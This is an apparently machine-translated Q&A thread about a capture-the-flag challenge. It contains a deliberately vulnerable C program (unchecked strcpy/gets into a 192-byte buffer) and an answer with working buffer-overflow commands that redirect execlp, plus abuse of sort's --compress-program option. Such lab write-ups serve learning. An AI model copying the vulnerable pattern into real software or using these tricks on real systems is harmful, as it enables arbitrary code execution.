使用排序和/或 uniq 函数启动程序

使用排序和/或 uniq 函数启动程序

我正在做一个挑战,你应该利用程序中的漏洞。具体来说,这似乎需要使用 sort 和/或 uniq 才能启动程序。然而,我已经在有关这些功能的各种文档中搜索了大约几个小时,但我不明白这是怎么可能的。该文件夹中的可用文件是 Linux 中的函数 sort 和 uniq。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libgen.h>

char buffer[192] = "";
char filename[192] = "";


int main(int argc, char *argv[])
{

  if (argv[1]) {
    snprintf(filename, 255, "/home/challenge/%s", basename(argv[1]));
    printf("Checking filename %s\n", filename);
    if (access(filename, X_OK)) {
      fprintf(stderr, "You do not have the permission to execute this file\n");
      return 1;
    }
  }
  else {
    fprintf(stderr, "Please provide the program name\n");
    return 2;
  }

  if (argv[2]) {
    strcpy(buffer, argv[2]);
  }
  else {
    gets(buffer);
  }
  printf("Executing filename %s\n", filename);

  execlp(filename, filename, buffer, (char *)0);

  return 0;
}

目标是启动一个程序来代替/同时执行 uniq/sort。有任何想法吗?

答案1

编辑

正如 @icarus 在评论中提到的,您错过了挑战的目标。目标不是利用sortuniq,而是利用您的程序。使用以下命令很容易做到这一点缓冲区溢出攻击。你的问题更适合stackoverflow.com而不是这个网站,但我还是会回答。

请注意,大小为buffer192 字节。但是,当buffer从参数 ( strcpy(buffer, argv[2]);) 复制时,它不会检查大小是否确实是 192 字节,并且无论大小如何,它都会复制整个第二个参数。由于filename位于 后面,因此第二个参数的前 192 个字节之后的所有内容都将“溢出”并覆盖内存中变量buffer的地址。filename

由于strcpy仅在检查filename中存在后才执行/home/challenge/,因此该检查将成功通过,但随后它将运行第二个参数的前 192 字节之后的任何内容。

./challenge sort "`printf '%192s./program.sh'`"
Checking filename /home/challenge/sort
Executing filename ./program.sh
Yes, ./program.sh was indeed executed by sort!

这是另一个有趣的例子:

$ printf -v ARG "%-191s\n/bin/echo" 'hello world'
$ ./challenge uniq ""$ARG""
Checking filename /home/challenge/uniq
Executing filename /bin/echo
hello world                                                                                                                                                                                    
/bin/echo

使用bash's,printf我为变量分配$ARG一个以“hello world”开头的字符串,并用空格填充以达到 191 个字节,然后是一个新行\n,后面是/bin/echo。它将/bin/echo以整个$ARG作为参数运行,其结果将是用空格、新行和/bin/echo.填充的“hello world”。

原答案

我不确定这是否正是您正在寻找的,但我想我已经找到了一种方法来做到这一点sort。当输入sort过高时,sort正在将数据写入临时文件以节省RAM,并最终合并它们。

GNUsort还有一个选项--compress-program=PROG,告诉它压缩临时文件以PROG节省磁盘空间。这个想法是运行sort--compress-program=PROG然后继续将数据发送到标准输入(这次它将是 的标准输入sort,在 之后execlp),直到sort决定写入临时文件并使用提供的程序来压缩它。

首先,这是我们将尝试运行的程序。它只是向标准错误写入一些消息,以便我们可以验证它确实已执行。

$ cat program.sh
#!/bin/bash
echo "Yes, $0 was indeed executed by sort!" >&2
exit 1

然后我们将运行以下命令:

while true; do echo; done | ./challenge sort --compress-program=./program.sh
Checking filename /home/challenge/sort
Executing filename /home/challenge/sort
Yes, ./program.sh was indeed executed by sort!

然后你的代码将按sort以下方式执行:

execlp("/home/challenge/sort", "/home/challenge/sort", "--compress-program=./program.sh", (char *)0);

这就像/home/challenge/sort --compress-program=./program.sh在 shell 中运行一样。接下来,我们将在无限while循环中回显空行,这些空行将被定向到sort.最终sort决定写入一个临时文件,并尝试./program.sh对其进行压缩。正如你所看到的,./program.sh确实被执行并写入了 STDERR:Yes, ./program.sh was indeed executed by sort!

这是我能想到的唯一方法。我找不到利用的方法uniq

相关内容